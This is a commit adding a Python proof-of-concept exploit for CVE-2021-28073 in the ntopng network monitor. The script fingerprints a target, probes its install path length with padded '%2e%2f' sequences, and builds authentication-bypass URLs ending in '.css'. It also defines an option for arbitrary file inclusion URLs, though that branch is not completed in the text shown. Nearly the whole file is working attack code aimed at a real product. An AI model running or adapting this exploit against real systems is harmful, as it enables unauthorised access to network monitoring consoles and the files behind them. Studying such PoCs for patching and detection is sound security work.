first commit

ntopng/CVE-2021-28073/poc.py

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+import sys
+import requests
+import argparse
+import logging
+
+
+def is_ntopng() -> bool:
+    response = session.get(base_url, allow_redirects=False)
+    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
+
+
+def get_base_length() -> int:
+    for i in range(90, 120):
+        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
+        response = session.get(url, allow_redirects=False)
+        if response.status_code < 300:
+            return 255 - 1 - i * 2 - len('as_stats.lua')
+
+    for i in range(90, 120):
+        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
+        response = session.get(url, allow_redirects=False)
+        if response.status_code < 300:
+            return 255 - 1 - i * 2 - len('get_macs_data.lua')
+
+    return -1
+
+
+def get_padding_length(path: str):
+    padding_length = 255 - 1 - base_length - len(path)
+    if padding_length % 2 == 1:
+        raise RuntimeError(f'path {path} is not support')
+
+    return int(padding_length / 2)
+
+
+logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
+session = requests.Session()
+session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
+    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
+    parser.add_argument('-v', '--verbose', default=False, action='store_true')
+    
+    subparsers = parser.add_subparsers(dest='action')
+
+    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
+
+    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
+    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
+    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
+
+    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
+    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
+    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
+
+    args = parser.parse_args()
+    if not args.action:
+        parser.print_help()
+        sys.exit(1)
+
+    if args.verbose:
+        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
+
+    base_url = args.url.rstrip('/')
+    
+    # check target
+    if not is_ntopng():
+        raise RuntimeError('No Ntopng detected')
+
+    if args.action == 'baselength':
+        base_length = get_base_length()
+        sys.stdout.write(f'ntopng install path length: {base_length}\n')
+    elif args.action == 'generate':
+        base_length = args.length
+        path = args.path
+        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')